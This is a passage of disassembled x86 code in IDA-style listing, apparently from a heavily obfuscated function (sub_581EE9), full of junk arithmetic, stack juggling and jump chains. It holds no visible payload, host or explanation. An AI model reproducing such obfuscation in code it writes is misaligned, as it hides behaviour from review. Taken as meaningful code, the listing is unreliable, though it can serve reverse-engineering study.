XREF: sub_581EE9+19C5Fj sub ch, 0EBh sub al, ch mov ecx, [esp-6EACh+arg_6EA4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-6EA8h+arg_6E9E+2] pop esp push ebx mov bl, 5Eh jmp loc_59CC6F ; --------------------------------------------------------------------------- loc_599BC2: ; CODE XREF: sub_581EE9+1C1FDj mov cl, 0C0h mov bh, 52h sub bh, cl pop ecx sub bh, ch pop ecx mov ch, 0CBh sub ch, 87h add ch, bh add ch, 87h pop ebx sub esp, 4 jmp loc_594F8B ; --------------------------------------------------------------------------- loc_599BDF: ; CODE XREF: sub_581EE9+13852j push 6FCAh push esp pop [esp-6E46h+arg_6E3E] add dword ptr [esp+0], 4 jmp loc_59BC6D ; --------------------------------------------------------------------------- loc_599BF1: ; CODE XREF: sub_581EE9+104D9j mov [esp-6EA8h+arg_6E9E+2], esi push esp pop esi jmp loc_59E7BF ; --------------------------------------------------------------------------- loc_599BFB: ; CODE XREF: sub_581EE9+12EF9j and ecx, ebx pop ebx push edx jmp loc_596CE7 ; --------------------------------------------------------------------------- loc_599C04: ; CODE XREF: sub_581EE9+121B3j or ebx, ebp mov ebp, [esp-6E76h+arg_6E6E] add esp, 4 or ebx, 2023D20h xor ebx, 7FAE00D9h push edx mov edx, ebx mov ebp, edx pop edx jmp loc_59DEB7 ; --------------------------------------------------------------------------- loc_599C23: ; CODE XREF: sub_581EE9+16FE4j pop ecx add ebx, ecx push edx mov edx, 6D585C6Ah or edx, 57140002h jmp loc_59F503 ; --------------------------------------------------------------------------- loc_599C37: ; CODE XREF: sub_581EE9+1F5F9j neg edx push 0 sub [esp-6EA2h+arg_6E9A], edx pop edx jmp loc_59B210 ; --------------------------------------------------------------------------- loc_599C47: ; CODE XREF: sub_581EE9+1175Aj push 2033h jmp loc_597EDB ; --------------------------------------------------------------------------- loc_599C51: ; CODE XREF: sub_581EE9+216FEj pop ebp push 6498h mov dword ptr [esp-6E82h+arg_6E7A], ebp mov ebp, 3A5F5DEAh jmp loc_59AE49 ; --------------------------------------------------------------------------- loc_599C64: ; CODE XREF: sub_581EE9+223E0j and edx, esi pop esi push ecx jmp loc_592947 ; --------------------------------------------------------------------------- loc_599C6D: ; CODE XREF: sub_581EE9+18158j pop ebx push 721h mov dword ptr [esp-6E82h+arg_6E7A], ebx mov ebx, 2C1E10EBh xor ebx, 6E2E657Fh add ebx, 0C9E8D75Eh add eax, ebx pop ebx add eax, ecx sub eax, 0C194CF2h sub esp, 4 mov dword ptr [esp-6E82h+arg_6E7A], edx push ebx mov ebx, 58BF66F2h mov edx, ebx mov ebx, [esp-6E7Eh+arg_6E76] add esp, 4 add eax, edx pop edx pop ecx push 1599h mov [esp-6E86h+arg_6E7C+2], eax push esp pop eax push ebp mov ebp, 7A0421A0h sub ebp, 7A04219Ch add eax, ebp jmp loc_5A562A ; --------------------------------------------------------------------------- loc_599CCC: ; CODE XREF: sub_581EE9+195B2j push esp pop eax add eax, 4 push esi mov esi, 45D125E5h shl esi, 2 neg esi push edi mov edi, 0DE15F5Bh or edi, 5262068Bh or edi, 7ACC04EDh jmp loc_59F031 ; --------------------------------------------------------------------------- loc_599CF5: ; CODE XREF: sub_581EE9+1846Cj mov edx, ebp pop ebp mov edi, edx mov edx, [esp-6E7Eh+arg_6E76] jmp loc_5A2527 ; --------------------------------------------------------------------------- loc_599D02: ; CODE XREF: sub_581EE9+1A87Bj add esp, 4 push edx mov edx, 2BFB1DFAh dec edx sub edx, 0C5DD2Fh jmp loc_5A1A95 ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 mov [esp-6E7Ah+arg_6E72], esi jmp loc_5A1985 ; --------------------------------------------------------------------------- loc_599D2B: ; CODE XREF: sub_581EE9+23981j pop esi pop [esp-6E7Eh+arg_6E76] pop esp sub byte ptr [esp-6E86h+arg_6E7C+2], al pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_599D39: ; CODE XREF: sub_581EE9+1F053j sub esi, ebx add esi, 632C664Eh jmp loc_5A0642 ; --------------------------------------------------------------------------- loc_599D46: ; CODE XREF: sub_581EE9+1DE07j pop edx mov ebp, [esp-6E86h+arg_6E7C+2] jmp loc_5A5EA1 ; --------------------------------------------------------------------------- loc_599D4F: ; CODE XREF: sub_581EE9+17AB8j pop ebx add edx, eax sub edx, 56637FFAh jmp loc_591F70 ; --------------------------------------------------------------------------- loc_599D5D: ; CODE XREF: sub_581EE9+167B4j mov eax, 4 add ebp, 56F7E84h sub ebp, 11F713B7h jmp loc_5A3C87 ; --------------------------------------------------------------------------- loc_599D73: ; CODE XREF: sub_581EE9+14994j mov esi, 13863A7Eh push 427Fh jmp loc_59D48A ; --------------------------------------------------------------------------- loc_599D82: ; CODE XREF: sub_581EE9+1D5A3j add ecx, 4 add ecx, 4 xchg ecx, [esp-6E62h+arg_6E58+2] pop esp xchg eax, [esp-6E66h+arg_6E5C+2] pop esp mov [esp-6E6Ah+arg_6E60+2], esp add [esp-6E6Ah+arg_6E60+2], 4 jmp loc_591F70 ; --------------------------------------------------------------------------- loc_599DA2: ; CODE XREF: sub_581EE9+251B1j shr al, 6 jmp loc_59EFCF ; --------------------------------------------------------------------------- loc_599DAA: ; CODE XREF: sub_581EE9+189F8j push 9D1h mov [esp-6E66h+arg_6E5C+2], ecx push ebx push eax mov ah, 79h mov bh, 8Dh xor bh, ah pop eax push edx jmp loc_59B400 ; --------------------------------------------------------------------------- loc_599DC1: ; CODE XREF: sub_581EE9+2363Dj push ecx mov ecx, esp jmp loc_594AFC ; --------------------------------------------------------------------------- loc_599DC9: ; CODE XREF: sub_581EE9+16EF9j xor edi, [esp-6EA4h+arg_6E9A+2] xor [esp-6EA4h+arg_6E9A+2], edi xor edi, [esp-6EA4h+arg_6E9A+2] mov esp, [esp-6EA4h+arg_6E9A+2] jmp loc_5A1746 ; --------------------------------------------------------------------------- loc_599DDA: ; CODE XREF: sub_581EE9+20FCCj mov [esp-6EA4h+arg_6E9A+2], ebx mov ebx, 4 add edx, ebx jmp loc_59ED23 ; --------------------------------------------------------------------------- loc_599DE9: ; CODE XREF: sub_581EE9+174FFj add ebx, 40683A68h push [esp-6E9Ah+arg_6E92] jmp loc_59829E ; --------------------------------------------------------------------------- loc_599DF7: ; CODE XREF: sub_581EE9+1DDF9j shr ecx, 1 add ecx, 0FF09DC37h add ebp, ecx mov ecx, [esp-6E96h+arg_6E8E] push ebx mov ebx, esp push 34F0h mov [esp-6E8Eh+arg_6E84+2], edi mov edi, 40EB6C35h neg edi or edi, 0AEF005Ah sub edi, 0BFFF93D7h add ebx, edi pop edi add ebx, 4 push ebx push [esp-6E8Eh+arg_6E8A] pop ebx jmp loc_5A494E ; --------------------------------------------------------------------------- lodsb jmp loc_5A2BDC ; --------------------------------------------------------------------------- loc_599E3C: ; CODE XREF: sub_581EE9+1EE00j mov edi, 6696056Eh add ebp, edi pop edi sub ebp, 2F3315Bh mov edx, [esp-6E92h+arg_6E8A] add esp, 4 xor ebp, [esp-6E96h+arg_6E8E] jmp loc_5A4A22 ; --------------------------------------------------------------------------- loc_599E5B: ; CODE XREF: sub_581EE9+1D51Fj push edx push 1847h mov [esp-6E8Eh+arg_6E84+2], esp add [esp-6E8Eh+arg_6E84+2], 4 pop edx add edx, 4 jmp loc_5A042F ; --------------------------------------------------------------------------- push ecx push esp pop ecx add ecx, 4 sub ecx, 4 jmp loc_59891E ; --------------------------------------------------------------------------- loc_599E88: ; CODE XREF: sub_581EE9+15FEDj add ebp, 4 xchg ebp, [esp-6E84h+arg_6E7C] pop esp push edx mov edx, esp jmp loc_5932D7 ; --------------------------------------------------------------------------- loc_599E97: ; CODE XREF: sub_581EE9+10964j push 1710h mov [esp+0], eax push edx mov edx, 1B0A12D9h push edx mov edx, 70C03994h add [esp+8], edx pop edx add [esp+4], edx sub dword ptr [esp+4], 70C03994h pop edx pop ebx sub ebx, 1B0A12D9h jmp loc_59729F ; --------------------------------------------------------------------------- loc_599EC9: ; CODE XREF: sub_581EE9+1A0F9j mov [esp-6EBCh+arg_6EB2+2], esp jmp loc_5A4023 ; --------------------------------------------------------------------------- loc_599ED1: ; CODE XREF: sub_581EE9+177E2j mov ebp, 473E243Eh push ebx mov ebx, 120536DBh jmp loc_594766 ; --------------------------------------------------------------------------- loc_599EE1: ; CODE XREF: sub_581EE9+1372Bj pop [esp-6E94h+arg_6E8A+2] pop esp div cx jmp loc_594709 ; --------------------------------------------------------------------------- loc_599EED: ; CODE XREF: sub_581EE9+1DF2Fj xor edi, [esp-6E9Ch+arg_6E92+2] xor [esp-6E9Ch+arg_6E92+2], edi jmp loc_5951F4 ; --------------------------------------------------------------------------- loc_599EF8: ; CODE XREF: sub_581EE9+18BE3j pop eax sub esp, 4 mov [esp-6E9Ch+arg_6E92+2], eax mov eax, 8126A7Ah jmp loc_59ADA1 ; --------------------------------------------------------------------------- loc_599F09: ; CODE XREF: sub_581EE9+104CDj mov [esp-6EA8h+arg_6E9E+2], esi mov esi, esp jmp loc_593184 ; --------------------------------------------------------------------------- loc_599F13: ; CODE XREF: sub_581EE9+10EE7j not cl shr cl, 7 sub cl, 28h jmp loc_598E5C ; --------------------------------------------------------------------------- loc_599F20: ; CODE XREF: sub_581EE9+1D4E3j and edi, esi pop esi jmp loc_5943D4 ; --------------------------------------------------------------------------- loc_599F28: ; CODE XREF: sub_581EE9+23CCBj add ecx, 4 push edi mov edi, 4 add ecx, edi jmp loc_59B9C1 ; --------------------------------------------------------------------------- loc_599F3B: ; CODE XREF: sub_581EE9+12856j mov ebx, esp push esi jmp loc_59BBE0 ; --------------------------------------------------------------------------- loc_599F43: ; CODE XREF: sub_581EE9+227C2j mov [esp-6E6Ah+arg_6E60+2], edx mov dh, 0B8h mov bl, dh pop edx mov cl, bl jmp loc_59E4C2 ; --------------------------------------------------------------------------- loc_599F52: ; CODE XREF: sub_581EE9+15D7Aj pop [esp-6E6Eh+arg_6E64+2] jmp loc_5A26E8 ; --------------------------------------------------------------------------- loc_599F5A: ; CODE XREF: sub_581EE9+13871j add ebp, eax mov eax, [esp-6E46h+arg_6E3E] push ecx jmp loc_5A5541 ; --------------------------------------------------------------------------- loc_599F65: ; CODE XREF: sub_581EE9+10E90j push esp jmp loc_594D46 ; --------------------------------------------------------------------------- loc_599F6B: ; CODE XREF: sub_581EE9+17C2Cj and al, bh jmp loc_599883 ; --------------------------------------------------------------------------- loc_599F72: ; CODE XREF: sub_581EE9+1E710j add eax, 132C268Dh sub eax, ebx jmp loc_59C6E2 ; --------------------------------------------------------------------------- loc_599F7E: ; CODE XREF: sub_581EE9+248A5j sub di, 74DFh sub di, 198Dh add di, bp push edx jmp loc_59C455 ; --------------------------------------------------------------------------- loc_599F91: ; CODE XREF: sub_581EE9+24E78j mov ebx, 647E2B5Eh or ecx, ebx pop ebx shr ecx, 2 add ecx, 2F9C2781h add edi, ecx jmp loc_59A483 ; --------------------------------------------------------------------------- loc_599FA9: ; CODE XREF: sub_581EE9+19D2Dj push 5A1Ah mov [esp-6E46h+arg_6E3E], ebx mov ebx, 77563CAh not ebx jmp loc_5930E4 ; --------------------------------------------------------------------------- loc_599FBD: ; CODE XREF: sub_581EE9+1B43Cj add esi, 4 add esi, 4 xchg esi, [esp-6E46h+arg_6E3E] pop esp sub eax, 4 jmp loc_593C6F ; --------------------------------------------------------------------------- loc_599FD4: ; CODE XREF: sub_581EE9+1A468j mov ch, 0Dh push edx push ecx mov cl, 6Fh jmp loc_5985B1 ; --------------------------------------------------------------------------- loc_599FDF: ; CODE XREF: sub_581EE9+1FFA1j mov eax, esp jmp loc_597B3F ; --------------------------------------------------------------------------- loc_599FE6: ; CODE XREF: sub_581EE9+220B8j neg ecx jmp loc_59F878 ; --------------------------------------------------------------------------- loc_599FED: ; CODE XREF: sub_581EE9+154D5j pop ebx mov esi, edx jmp loc_598FA0 ; --------------------------------------------------------------------------- loc_599FF5: ; CODE XREF: sub_581EE9+1A365j push eax mov eax, 34C75D92h jmp loc_59361B ; --------------------------------------------------------------------------- loc_59A000: ; CODE XREF: sub_581EE9+234B3j mov eax, 5F6A1968h sub edi, eax pop eax sub edi, ecx add edi, 5F6A1968h mov ecx, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 std push eax mov eax, 1F0610Fh push 326h mov [esp-6E7Eh+arg_6E76], edx push ebx jmp loc_5A1E51 ; --------------------------------------------------------------------------- loc_59A02E: ; CODE XREF: sub_581EE9+22295j sub esp, 4 jmp loc_591F93 ; --------------------------------------------------------------------------- loc_59A036: ; CODE XREF: sub_581EE9+1BC2Cj add ecx, eax pop eax push ebx mov ebx, 58BF66F2h sub eax, ebx jmp loc_599C6D ; --------------------------------------------------------------------------- loc_59A046: ; CODE XREF: sub_581EE9+1D6A0j push ecx push eax mov eax, 41895821h sub [esp-6E6Eh+arg_6E68+2], eax pop eax mov edx, [esp-6E72h+arg_6E68+2] add esp, 4 add edx, 41895821h pop ecx xor edi, edx mov edx, [esp-6E7Ah+arg_6E72] add esp, 4 xor esi, edi jmp loc_5A4921 ; --------------------------------------------------------------------------- loc_59A06E: ; CODE XREF: sub_581EE9+24CAFj shr ebp, 8 push ebp neg [esp-6E7Ah+arg_6E72] jmp loc_59C321 ; --------------------------------------------------------------------------- loc_59A07A: ; CODE XREF: sub_581EE9+11A13j pop ebx push ecx mov ecx, 5E074AC3h shr ecx, 7 neg ecx not ecx jmp loc_5A18CE ; --------------------------------------------------------------------------- loc_59A08D: ; CODE XREF: sub_581EE9+11F98j xchg esi, [esp+0] pop esp xor bl, al jmp loc_59E750 ; --------------------------------------------------------------------------- loc_59A098: ; CODE XREF: sub_581EE9+11548j xchg ebp, [esp-6E7Ah+arg_6E72] jmp loc_597168 ; --------------------------------------------------------------------------- loc_59A0A0: ; CODE XREF: sub_581EE9+213ADj xor ebx, 0FBFEF85h add eax, ebx pop ebx add eax, 4 xchg eax, [esp-6E7Eh+arg_6E76] mov esp, [esp-6E7Eh+arg_6E76] and eax, ebp pop ebp or eax, eax jz loc_5A1D2F push dword ptr [edi+28h] sub esp, 4 jmp loc_5A2CDC ; --------------------------------------------------------------------------- loc_59A0CA: ; CODE XREF: sub_581EE9+1E497j mov ebp, edx jmp loc_59B52D ; --------------------------------------------------------------------------- loc_59A0D1: ; CODE XREF: sub_581EE9+1F51Fj pop edi push 5867h mov [esp-6E7Ah+arg_6E72], edx jmp loc_59C042 ; --------------------------------------------------------------------------- loc_59A0DF: ; CODE XREF: sub_581EE9+19FF8j push small 33B7h mov word ptr [esp-6E78h+arg_6E6E+2], bx xchg dh, byte ptr [esp-6E78h+arg_6E6E+3] not dh xor byte ptr [esp-6E78h+arg_6E6E+3], dh xor dh, byte ptr [esp-6E78h+arg_6E6E+3] xor byte ptr [esp-6E78h+arg_6E6E+3], dh pop bx jmp loc_593390 ; --------------------------------------------------------------------------- loc_59A100: ; CODE XREF: sub_581EE9+10BC9j push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_597EBB ; --------------------------------------------------------------------------- loc_59A110: ; CODE XREF: sub_581EE9+187BEj mov ebx, 1C193B1Ch jmp loc_59BCA1 ; --------------------------------------------------------------------------- loc_59A11A: ; CODE XREF: sub_581EE9+19148j add esp, 4 mov edx, [esp-6EA6h+arg_6E9E] add esp, 4 add ecx, 50EE5037h sub ecx, 47AC7F81h add ecx, ebx add ecx, 47AC7F81h sub ecx, 50EE5037h push dword ptr [esp-6EAAh+arg_6EA2] pop ebx add esp, 4 sub esp, 4 jmp loc_59315E ; --------------------------------------------------------------------------- loc_59A14F: ; CODE XREF: sub_581EE9+2458Cj pop edi xor edx, [esp-6EAEh+arg_6EA4+2] xor [esp-6EAEh+arg_6EA4+2], edx xor edx, [esp-6EAEh+arg_6EA4+2] pop esp push ebx mov ebx, 30B87F1Fh shr ebx, 4 sub ebx, 7BFB61DFh jmp loc_597E3A ; --------------------------------------------------------------------------- loc_59A16E: ; CODE XREF: sub_581EE9+18CA3j xor cl, 0DBh add bl, cl pop ecx sub bl, al jmp loc_5954BD ; --------------------------------------------------------------------------- loc_59A17B: ; CODE XREF: sub_581EE9+1403Dj mov esp, [esp-6E5Ah+arg_6E50+2] push [esp-6E5Ah+arg_6E50+2] jmp loc_5A4E63 ; --------------------------------------------------------------------------- loc_59A186: ; CODE XREF: sub_581EE9+2061Bj pop eax add ebx, edi push esi jmp loc_5A4AB8 ; --------------------------------------------------------------------------- loc_59A18F: ; CODE XREF: sub_581EE9+1450Fj neg esi jmp loc_5A51E5 ; --------------------------------------------------------------------------- loc_59A196: ; CODE XREF: sub_581EE9+1E55Aj push 7423172Eh pop esi and esi, 6CF7084Eh add esi, 0FFFFFFFFh and esi, 463F3722h add esi, 0CB1526F8h xor edx, esi pop esi jmp loc_59DD89 ; --------------------------------------------------------------------------- loc_59A1B9: ; CODE XREF: sub_581EE9+1E972j sub al, 98h add al, 0BFh jmp loc_59399F ; --------------------------------------------------------------------------- loc_59A1C2: ; CODE XREF: sub_581EE9+13430j add ecx, 4 add ecx, 4 jmp loc_59A88E ; --------------------------------------------------------------------------- loc_59A1D3: ; CODE XREF: sub_581EE9+2278Bj mov [esp-6E76h+arg_6E6E], ecx mov ecx, 54B35168h jmp loc_598D4A ; --------------------------------------------------------------------------- loc_59A1E0: ; CODE XREF: sub_581EE9+1A8B8j add esp, 4 jmp loc_59F62B ; --------------------------------------------------------------------------- loc_59A1EB: ; CODE XREF: sub_581EE9+213F0j pop esi add eax, 41C84CF4h shl eax, 7 jmp loc_5A6249 ; --------------------------------------------------------------------------- loc_59A1F9: ; CODE XREF: sub_581EE9+22B23j xchg ebx, [esp-6E7Eh+arg_6E76] jmp loc_5970D4 ; --------------------------------------------------------------------------- loc_59A201: ; CODE XREF: sub_581EE9+203DDj xor [esp-6E7Eh+arg_6E76], ebp xor ebp, [esp-6E7Eh+arg_6E76] mov esp, [esp-6E7Eh+arg_6E76] push 1636h jmp loc_598BEC ; --------------------------------------------------------------------------- loc_59A214: ; CODE XREF: sub_581EE9+14B01j push esi push ecx mov ecx, 6DE64319h sub ecx, 4EED06FBh and ecx, 4E1310CAh add ecx, 659F503Bh xor ecx, 41F14E7Bh shl ecx, 1 xor ecx, 4AFC3A72h inc ecx push edi mov edi, 2F7947B1h shr edi, 5 xor edi, 1133EB05h or ecx, edi push [esp-6E56h+arg_6E4C+2] pop edi add esp, 4 shr ecx, 6 jmp loc_5A4818 ; --------------------------------------------------------------------------- loc_59A25C: ; CODE XREF: sub_581EE9+1CEB6j mov ecx, [esp-6E5Ah+arg_6E50+2] add esp, 4 jmp loc_595CC3 ; --------------------------------------------------------------------------- loc_59A267: ; CODE XREF: sub_581EE9+103D5j pop esi sub esi, 3260049h mov ebx, esi mov esi, [esp-6EA8h+arg_6E9E+2] add esp, 4 sub ecx, 441B63F8h add ecx, ebx add ecx, 441B63F8h pop ebx jmp loc_5A6589 ; --------------------------------------------------------------------------- loc_59A28A: ; CODE XREF: sub_581EE9+22F6Dj neg edi dec edi sub edi, 9F8D3BB4h shr edi, 5 shr edi, 8 jmp loc_59E861 ; --------------------------------------------------------------------------- loc_59A29E: ; CODE XREF: sub_581EE9+19C2Fj push ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 add ebx, esi mov esi, [esp-6EA8h+arg_6E9E+2] add esp, 4 xchg ebx, [esp-6EACh+arg_6EA4] pop esp xor al, dl pop edx push 2F97h jmp loc_59E6C0 ; --------------------------------------------------------------------------- loc_59A2C9: ; CODE XREF: sub_581EE9+1AE71j mov ebx, 7A427380h xor edx, ebx pop ebx or eax, edx pop edx xor eax, 30DA77E9h and eax, 65555349h push ebx jmp loc_5A064A ; --------------------------------------------------------------------------- loc_59A2E4: ; CODE XREF: sub_581EE9+22FF3j mov [esp-6EB4h+arg_6EAC], eax push ebx mov bl, 0ACh push edx mov dl, 67h shl dl, 1 not dl jmp loc_5A4248 ; --------------------------------------------------------------------------- loc_59A2F6: ; CODE XREF: sub_581EE9+1DBD7j xor ecx, 690044B7h mov eax, ecx pop ecx sub edi, 604B6405h jmp loc_5A3405 ; --------------------------------------------------------------------------- loc_59A30A: ; CODE XREF: sub_581EE9+1AB7Ej push 4070h mov [esp-6EACh+arg_6EA4], ebx mov ebx, 4 jmp loc_592368 ; --------------------------------------------------------------------------- loc_59A31C: ; CODE XREF: sub_581EE9+11EDAj push edi push edx mov edx, 10124BCFh dec edx jmp loc_59F76C ; --------------------------------------------------------------------------- loc_59A329: ; CODE XREF: sub_581EE9+248F8j mov [esp-6E92h+arg_6E8A], ebx push esi push 243718CAh mov esi, [esp-6E8Ah+arg_6E80+2] jmp loc_5952F4 ; --------------------------------------------------------------------------- loc_59A33A: ; CODE XREF: sub_581EE9+1DFF3j sub ecx, 7740259Fh add ecx, edx add ecx, 7740259Fh sub ecx, 4F080C0Bh jmp loc_5996EE ; --------------------------------------------------------------------------- loc_59A353: ; CODE XREF: sub_581EE9+14532j mov ebp, ecx jmp loc_599CF5 ; --------------------------------------------------------------------------- loc_59A35A: ; CODE XREF: sub_581EE9+1CA0Dj sub ch, dh jmp loc_5A0FD1 ; --------------------------------------------------------------------------- loc_59A361: ; CODE XREF: sub_581EE9+2501Cj pop edi neg ebx shr ebx, 7 sub ebx, 118DCAFh add edi, 0E0A0322h add edi, ebx jmp loc_5A4A84 ; --------------------------------------------------------------------------- loc_59A37A: ; CODE XREF: sub_581EE9+17800j mov [esp-6E7Ah+arg_6E72], esi sub esp, 4 jmp loc_5A54E8 ; --------------------------------------------------------------------------- loc_59A388: ; CODE XREF: sub_581EE9+18FBAj xchg edi, [esp-6E76h+arg_6E6E] pop esp jmp loc_59E70C ; --------------------------------------------------------------------------- loc_59A391: ; CODE XREF: sub_581EE9+150BEj mov edx, 7312447Bh jmp loc_59E1FC ; --------------------------------------------------------------------------- loc_59A39B: ; CODE XREF: sub_581EE9+17AFEj add esp, 4 sub esp, 4 mov [esp-6E9Eh+arg_6E96], ebp jmp loc_59A5EC ; --------------------------------------------------------------------------- loc_59A3AC: ; CODE XREF: sub_581EE9+1DF93j pop bx mov ch, dl push [esp-6EA0h+arg_6E96+2] mov edx, [esp-6E9Ch+arg_6E92+2] add esp, 4 jmp loc_5A2342 ; --------------------------------------------------------------------------- loc_59A3BE: ; CODE XREF: sub_581EE9+21730j add esp, 4 jmp loc_598B47 ; --------------------------------------------------------------------------- loc_59A3C9: ; CODE XREF: sub_581EE9+1013Bj push ecx jmp loc_592EEA ; --------------------------------------------------------------------------- loc_59A3CF: ; CODE XREF: sub_581EE9+11F6Bj mov edx, [esp-6E92h+arg_6E8A] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E8Eh+arg_6E84+2] pop esp add esi, 2 xor esi, [esp-6E92h+arg_6E8A] xor [esp-6E92h+arg_6E8A], esi jmp loc_5A5671 ; --------------------------------------------------------------------------- loc_59A3F6: ; CODE XREF: sub_581EE9+2212Bj pop esp shr ecx, 6 push 76A9h mov [esp-6E92h+arg_6E8A], ebx jmp loc_59FF84 ; --------------------------------------------------------------------------- loc_59A407: ; CODE XREF: sub_581EE9+11FE7j and ecx, 4A0266EDh not ecx xor ecx, 6B934548h dec ecx inc ecx add ecx, 0B229B487h mov edx, ecx pop ecx sub edx, ebx pop ebx add eax, edx mov edx, [esp-6E9Eh+arg_6E96] add esp, 4 push eax push [esp-6E9Eh+arg_6E9A] pop eax pop [esp-6E9Eh+arg_6E96] pop esp add ebp, 4 push esi mov esi, 1C0B5E83h shr esi, 4 sub esi, 11543540h neg esi jmp loc_5A41BD ; --------------------------------------------------------------------------- loc_59A451: ; CODE XREF: sub_581EE9+23D28j mov eax, 2 add esi, eax push [esp-6EA2h+arg_6E9A] push [esp-6E9Eh+arg_6E96] pop eax add esp, 4 add esp, 4 push esi push [esp-6EA2h+arg_6E9E] jmp loc_59FFBB ; --------------------------------------------------------------------------- loc_59A472: ; CODE XREF: sub_581EE9+236EDj add edi, 0EF3CB724h mov esi, edi pop edi add edi, esi pop esi jmp loc_5A1F4D ; --------------------------------------------------------------------------- loc_59A483: ; CODE XREF: sub_581EE9+180BBj pop ecx sub edi, 20FA2EA4h add edi, esi add edi, 20FA2EA4h push ebx mov ebx, 6D5C0380h sub edi, ebx pop ebx pop esi push 798h mov [esp-6E4Eh+arg_6E44+2], eax mov eax, 5BCC0DEEh and eax, 15A36D48h shl eax, 5 sub eax, 3001A8FCh add edi, eax pop eax xchg edi, [esp-6E52h+arg_6E48+2] mov esp, [esp-6E52h+arg_6E48+2] push ebp mov ebp, 1CE572C0h add [esp-6E4Eh+arg_6E48+2], 1CB04BE4h add [esp-6E4Eh+arg_6E48+2], 0BBA58DDh jmp loc_5926FE ; --------------------------------------------------------------------------- loc_59A4DA: ; CODE XREF: sub_581EE9+2160Aj mov cl, 6Ch push edx mov dh, cl mov bh, dh jmp loc_59F985 ; --------------------------------------------------------------------------- loc_59A4E6: ; CODE XREF: sub_581EE9+17440j pop edx jmp loc_5965CE ; --------------------------------------------------------------------------- loc_59A4EC: ; CODE XREF: sub_581EE9+1DD1Fj xor esi, [esp] jmp loc_5A44A2 ; --------------------------------------------------------------------------- loc_59A4F4: ; CODE XREF: sub_581EE9+1FB50j mov [esp-6EA6h+arg_6E9E], ebx jmp loc_5A1C8A ; --------------------------------------------------------------------------- loc_59A4FC: ; CODE XREF: sub_581EE9+11605j pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx jmp loc_5A168E ; --------------------------------------------------------------------------- loc_59A50F: ; CODE XREF: sub_581EE9+19C49j xor ecx, 0ADBD5507h add edi, ecx pop ecx not edi and edi, 20424ABFh add edi, 3A65F3EDh xor ebp, edi pop edi xor eax, ebp jmp loc_5A5B3F ; --------------------------------------------------------------------------- loc_59A530: ; CODE XREF: sub_581EE9+14F5Cj pop eax push eax jmp loc_59E971 ; --------------------------------------------------------------------------- loc_59A537: ; CODE XREF: sub_581EE9+17486j add ecx, edi pop edi xchg ecx, [esp-6E6Ah+arg_6E60+2] pop esp add ebx, 2 xor ebx, [esp-6E6Eh+arg_6E64+2] xor [esp-6E6Eh+arg_6E64+2], ebx xor ebx, [esp-6E6Eh+arg_6E64+2] mov esp, [esp-6E6Eh+arg_6E64+2] mov cx, word ptr [esp-6E6Eh+arg_6E64+2] push eax mov eax, esp push ebp mov ebp, 4 jmp loc_5A5A30 ; --------------------------------------------------------------------------- loc_59A55F: ; CODE XREF: sub_581EE9+22FDBj sub ebx, 88CA6E1Fh jmp loc_5A0694 ; --------------------------------------------------------------------------- loc_59A56A: ; CODE XREF: sub_581EE9+1E3E9j mov edx, [esp-6E66h+arg_6E5C+2] add esp, 4 push edi mov edi, 4 add edx, edi pop edi sub esp, 4 mov [esp-6E66h+arg_6E5C+2], eax mov eax, 42A8252Eh xor eax, 42A8252Ch add edx, 54E80B94h add edx, eax sub edx, 54E80B94h jmp loc_598F38 ; --------------------------------------------------------------------------- loc_59A59F: ; CODE XREF: sub_581EE9+1628Bj or ecx, 3609365Ah inc ecx shr ecx, 3 jmp loc_5A4428 ; --------------------------------------------------------------------------- loc_59A5AE: ; CODE XREF: sub_581EE9+18788j push edx mov edx, 164347B4h mov ecx, edx pop edx jmp loc_59D067 ; --------------------------------------------------------------------------- loc_59A5BC: ; CODE XREF: sub_581EE9+16997j xor ebx, [esp-6E7Ah+arg_6E72] mov esp, [esp-6E7Ah+arg_6E72] jmp loc_5A47C5 ; --------------------------------------------------------------------------- loc_59A5C7: ; CODE XREF: sub_581EE9+21527j add esp, 4 jmp loc_598042 ; --------------------------------------------------------------------------- loc_59A5D2: ; CODE XREF: sub_581EE9+226C9j add esp, 4 push 3B77h jmp loc_59FBDF ; --------------------------------------------------------------------------- loc_59A5E2: ; CODE XREF: sub_581EE9+13F0Dj mov ecx, 61BB7491h jmp loc_5A6185 ; --------------------------------------------------------------------------- loc_59A5EC: ; CODE XREF: sub_581EE9+184BEj mov ebp, 5B4D186Dh jmp loc_59993E ; --------------------------------------------------------------------------- loc_59A5F6: ; CODE XREF: sub_581EE9+10FFCj and ebx, 778A0B2Bh jmp loc_5A2F1D ; --------------------------------------------------------------------------- loc_59A601: ; CODE XREF: sub_581EE9+16A1Dj pop eax jmp loc_5A6293 ; --------------------------------------------------------------------------- loc_59A607: ; CODE XREF: sub_581EE9+10F2Aj pop ecx sub esi, 69FD7F0Ch add esi, 2B8C62C0h add esi, edi sub esi, 2B8C62C0h push eax mov eax, 78756944h xor eax, 40074482h or eax, 96370BDh sub eax, 23AD5D8Ah or eax, 643E1E9Eh add eax, 0F3FF400Dh add esi, eax pop eax pop edi jmp loc_59BC4D ; --------------------------------------------------------------------------- loc_59A644: ; CODE XREF: sub_581EE9+13E28j mov esp, [esp+0] mov [esp+0], edx push ecx mov ch, 5Fh push ebx mov bh, 0B7h shl bh, 2 dec bh sub bh, 21h push edx mov dh, 6Dh shr dh, 6 sub dh, 1Ah dec dh sub dh, 0Eh sub bh, dh pop edx jmp loc_59CA6C ; --------------------------------------------------------------------------- loc_59A66E: ; CODE XREF: sub_581EE9+1E30Dj mov [esp-6E6Ch+arg_6E64], ecx jmp loc_59A5AE ; --------------------------------------------------------------------------- loc_59A676: ; CODE XREF: sub_581EE9+21CDFj mov ebp, 48D81F09h sub esi, ebp pop ebp add esi, 60FC2F44h push dword ptr [esp] pop ebp push 456Ah mov [esp-6E6Ch+arg_6E64], edx push esp pop edx jmp loc_59B6E9 ; --------------------------------------------------------------------------- loc_59A697: ; CODE XREF: sub_581EE9+123F0j xchg ebx, [esp-6E7Eh+arg_6E76] jmp loc_595375 ; --------------------------------------------------------------------------- loc_59A69F: ; CODE XREF: sub_581EE9+10B97j push 7629h mov [esp-6EAEh+arg_6EA4+2], ebx 